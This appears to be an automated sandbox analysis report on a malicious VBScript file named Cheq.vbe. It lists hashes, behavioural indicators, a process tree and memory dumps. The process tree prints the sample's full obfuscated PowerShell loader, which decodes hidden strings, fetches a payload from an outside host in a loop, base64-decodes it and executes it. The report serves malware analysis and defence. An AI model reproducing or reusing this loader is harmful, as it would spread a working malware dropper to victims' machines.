407cde8101a3f04d2e4c9c632c771a3f3fc5db48c14c0ad85f76e8ae50fea6c1

Analysis

max time kernel
147s
max time network
149s
platform
windows7_x64
resource
win7-20240220-en
resource tags

arch:x64arch:x86image:win7-20240220-enlocale:en-usos:windows7-x64system
submitted
21/05/2024, 03:43

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Cheq.vbe
Size

720KB
MD5

08916398d60045637fa6b2f5d5ef89e6
SHA1

2f1bd5cc4c5649fb7e034e48861de256b76ce06f
SHA256

407cde8101a3f04d2e4c9c632c771a3f3fc5db48c14c0ad85f76e8ae50fea6c1
SHA512

a036b6b80070a7f7928b7ed521572ff7b8401236c604c53aafe91d9862215e1df897ba84a380eb78da996d760b4a29f5642c60b68d0df45e418b8c726d6b8c58
SSDEEP

6144:TsyS5Hz0L9jTGquGSqCG2NPnbY/0M7xxMldTSsp3vraSEPW/snrOLNC51gdQl7VB:vCRT+WPxm3pfqiMwc/MVqAd+O

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 50 IoCs

flow	pid	Process
5	2712	powershell.exe
6	2712	powershell.exe
7	2712	powershell.exe
8	2712	powershell.exe
9	2712	powershell.exe
10	2712	powershell.exe
11	2712	powershell.exe
12	2712	powershell.exe
13	2712	powershell.exe
14	2712	powershell.exe
15	2712	powershell.exe
16	2712	powershell.exe
17	2712	powershell.exe
18	2712	powershell.exe
19	2712	powershell.exe
20	2712	powershell.exe
21	2712	powershell.exe
22	2712	powershell.exe
23	2712	powershell.exe
24	2712	powershell.exe
25	2712	powershell.exe
26	2712	powershell.exe
27	2712	powershell.exe
28	2712	powershell.exe
29	2712	powershell.exe
30	2712	powershell.exe
31	2712	powershell.exe
32	2712	powershell.exe
33	2712	powershell.exe
34	2712	powershell.exe
35	2712	powershell.exe
36	2712	powershell.exe
37	2712	powershell.exe
38	2712	powershell.exe
39	2712	powershell.exe
40	2712	powershell.exe
41	2712	powershell.exe
42	2712	powershell.exe
43	2712	powershell.exe
44	2712	powershell.exe
45	2712	powershell.exe
46	2712	powershell.exe
47	2712	powershell.exe
48	2712	powershell.exe
49	2712	powershell.exe
50	2712	powershell.exe
51	2712	powershell.exe
52	2712	powershell.exe
53	2712	powershell.exe
54	2712	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2712	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2712	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2360 wrote to memory of 2712	2360	WScript.exe	28
PID 2360 wrote to memory of 2712	2360	WScript.exe	28
PID 2360 wrote to memory of 2712	2360	WScript.exe	28
PID 2712 wrote to memory of 2744	2712	powershell.exe	30
PID 2712 wrote to memory of 2744	2712	powershell.exe	30
PID 2712 wrote to memory of 2744	2712	powershell.exe	30

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Cheq.vbe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2360
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Printermanualens = 1;$Kkkensalt='Sub';$Kkkensalt+='strin';$Kkkensalt+='g';Function Pastoraling($Delegationsrejsernes){$Buur=$Delegationsrejsernes.Length-$Printermanualens;For($Bilaciniate=2;$Bilaciniate -lt $Buur;$Bilaciniate+=3){$Mrkepen+=$Delegationsrejsernes.$Kkkensalt.Invoke( $Bilaciniate, $Printermanualens);}$Mrkepen;}function Coloplication($Acetoacetic){& ($Traditionalizes) ($Acetoacetic);}$Grdede=Pastoraling ' vM pofezPoi ulK.lKoa /Fo5,m.Pl0Ko ,(InWCoi GnP.dBroPrw.as.m DeN FTFi D,1 r0Pr.Un0.e; p MeWMeifjnba6Ac4Re;E Lrx.o6br4Tu;.u D.rOvv V:Bi1Co2Rb1N..S 0 L) . UnG,ne dc kkoroC./Un2F 0 U1,y0Un0Ca1 S0C 1 v MnFgei.drPreUtf ,oA,xas/el1 N2B.1 K.,t0sp ';$Soundstripe=Pastoraling ' uUKnsBaerorTy-HiA pgAde,enPrtK, ';$Supercharging=Pastoraling 'InhIst FtEpp s R:.u/am/.oaFulVaiStaMamCr. .iR rS,/ SP ,nureSps Ht .e,bs g.GalimzD,hCh ';$Thyiad81=Pastoraling ',u>De ';$Traditionalizes=Pastoraling 'PhiSke ex i ';$Tilkastningerne='Skrivearealers';$Brugerbehovet = Pastoraling '.fe Cc Lh .o P to%plaTep FpSid fa ,tZ,a.i% t\DeUTrnS.cUno.sm,wp.aiPrlAmeRad S.ApSUraIml.o Ko&B,&A Foe,ocsehDio u K,tId ';Coloplication (Pastoraling ' $Dag Ll.uoIbbFla ,lNy:,zR yeChwUdaMosTeh OeStdTe= f(Sec,omTodMi C./,ucG. S$KoBKurKlu .g.heAurBrbF,e ,hReosvvUneC,tEk)zy ');Coloplication (Pastoraling ' F$B.gSal.loCobSua cl ,:ApU AdsplSlyTadOrsDok CoAln ,sBao GnGaaAin ,twhe rC,sPo1Lo8De9fe=Se$ S eu.mphueR.rInchjh Fa DrB g miDen Ag J.A s.dpFolBoiVitS (A.$,aTPahKlyliiTra ldse8Be1 M) U ');$Supercharging=$Udlydskonsonanters189[0];$Apophlegm= (Pastoraling ' A$,agUnl osobInaL lEv:,oPArr.ieTjsKotc.iVigSue,ifTry ,l .dYmt.veF.2 ,0,e8Re=AnN,oe Sw,a-S,OFobRajRee.lc ,tDy BiSTry sFrtLeeJ,mch.UnNS eLitig.NoW eB,bSuC TlPhiphe ,n Gt');$Apophlegm+=$Rewashed[1];Coloplication ($Apophlegm);Coloplication (Pastoraling '.r$R,PTrrdieflsUntRdiVggTie f Dy AlPidTctBreD 2Pi0Un8 U.B HM.eMoa kdIne FrB s P[T $stSI.oSpuFynModbisSltSyr SiGapCyeSt] ,=La$FuGStr ,dI.e BdAfe.a ');$Forelbigt=Pastoraling 'Pe$ IP,lrree CsPrtUniIngObeOlfI yScl.hdF,tPae,r2 .0 G8gr.boD UoRiwHanTrlPro ,a ,d.rF LiShlKteMa( ,$HlSBauDipSmeFor ocArhUnaHorC,g.nielnTag N,O,$LuT,ei .lStlkraSkglse C)Ko ';$Tillage=$Rewashed[0];Coloplication (Pastoraling 'Pa$P,gKnlJaoK.bDaaAflPr:ByWunaFirChpSoaS.tSthV,s b=Mo(F.TPre KsP,tTe-,nP Ha t ,hRe .a$ GTFei SlPrlMyaBegH.ePh)Fi ');while (!$Warpaths) {Coloplication (Pastoraling 'Tr$regL,lS o .bLaaUnlRa:A LM aDar.fdBreMyrNyeGylThl,eiS.t heC =Kl$BotFkrEcuIleTu ') ;Coloplication $Forelbigt;Coloplication (Pastoraling 'S STot vaSurSetT,-WaSHolGue KeH.pSp De4Ge ');Coloplication (Pastoraling ' .$AbgUnlQuoa.b GaFllRe:maWOpa vrPipO.aBut .hAnsMa= r(,eT ,eHysHyt ,-tuPv.a htCyhba p$MeTMoiDil.flAla og Ce n) . ') ;Coloplication (Pastoraling 'La$ThgMylSkoR,bInaBylC :u UAfnEuwHehFui Sp otKy=Fo$R gD,lTro CbViaMal a:MaM.oeNydD i EnFrd DeSehAeaTov .e HrSteManT +pt+ u%,i$ CUO.d ,lDky Ad s tkSpoAunA,sJeo,tnDea.nn tttheO,rRosTe1He8sk9A .F,c loAbu Ln rt,o ') ;$Supercharging=$Udlydskonsonanters189[$Unwhipt];}$Umbilical=321149;$Fjerkrslagteris=27241;Coloplication (Pastoraling ' $L.g GlL oBab Ea.ulTy: PVel auFotKio Bl,raSttNor fyRh L=,g StG EeK.tKe-BrC aoFinf,tt,eSenSat a Ku$S TCai Fli,l oa MgO eTi ');Coloplication (Pastoraling 'no$Beg HlG.ovabSaaAelDe:KoDDeeOrt iaD,iH.l,rpLarKaoRij,ueI,k.atAseDar,ieUnn ndKleUts t Dy= D Fl[BuSpuy,osovtU.e Ampi.BoC.aoT.n .vRee.nrDate,]An: C:UnFkarCaokamN.B a s ,ePe6Pu4 USNot nrB iInnReg r(Op$CrPVil.fuIntTuoFrl,la t crKay,y)Gr ');Coloplication (Pastoraling ' A$Iog,alFoo SbKbaNol,n: FwNoi DnUdgTioHvvEkeH,rInsb M,= S j[ SSToyChs .t BeDimCa.S,T.lehex.ztRh.LaE nPucMioB,dUniTenhugRu]vg:Da:OvA .SDiC FINaI e. yG.ke StCaSu t.er tiR n,sgVi(g.$A,D DeDktgua FiTel,ip,pr so sj,ie SkSatT.e.er PeUnnPhdC,e Ss n)Sa ');Coloplication (Pastoraling ' P$U,g PlP oG.bMaagelph:.hUSnnPrlAeuDrsKrtS fDiuMelAalStya =Al$ Hw .i .nTig ooFivR,e .r rsMa.SnsG,u Hb eshit.lrRri,anSagPu(U,$,rU ,m.nb iiBalUdi Wc eaMul i, $ nF.jj TeCyr SkB.rH,s klPaaHogBrtKoeSarSti FsCo)Wa ');Coloplication $Unlustfully;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2712
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Uncompiled.Sal && echo t"
    3⤵
    PID:2744

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2712-4-0x000007FEF5EDE000-0x000007FEF5EDF000-memory.dmp

Filesize
4KB

Download
memory/2712-5-0x000000001B560000-0x000000001B842000-memory.dmp

Filesize
2.9MB

Download
memory/2712-7-0x0000000002290000-0x0000000002298000-memory.dmp

Filesize
32KB

Download
memory/2712-6-0x000007FEF5C20000-0x000007FEF65BD000-memory.dmp

Filesize
9.6MB

Download
memory/2712-8-0x000007FEF5C20000-0x000007FEF65BD000-memory.dmp

Filesize
9.6MB

Download
memory/2712-9-0x000007FEF5C20000-0x000007FEF65BD000-memory.dmp

Filesize
9.6MB

Download
memory/2712-10-0x000007FEF5C20000-0x000007FEF65BD000-memory.dmp

Filesize
9.6MB

Download
memory/2712-11-0x000007FEF5C20000-0x000007FEF65BD000-memory.dmp

Filesize
9.6MB

Download
memory/2712-12-0x000007FEF5C20000-0x000007FEF65BD000-memory.dmp

Filesize
9.6MB

Download
memory/2712-13-0x000007FEF5EDE000-0x000007FEF5EDF000-memory.dmp

Filesize
4KB

Download
memory/2712-14-0x000007FEF5C20000-0x000007FEF65BD000-memory.dmp

Filesize
9.6MB

Download
memory/2712-15-0x000007FEF5C20000-0x000007FEF65BD000-memory.dmp

Filesize
9.6MB

Download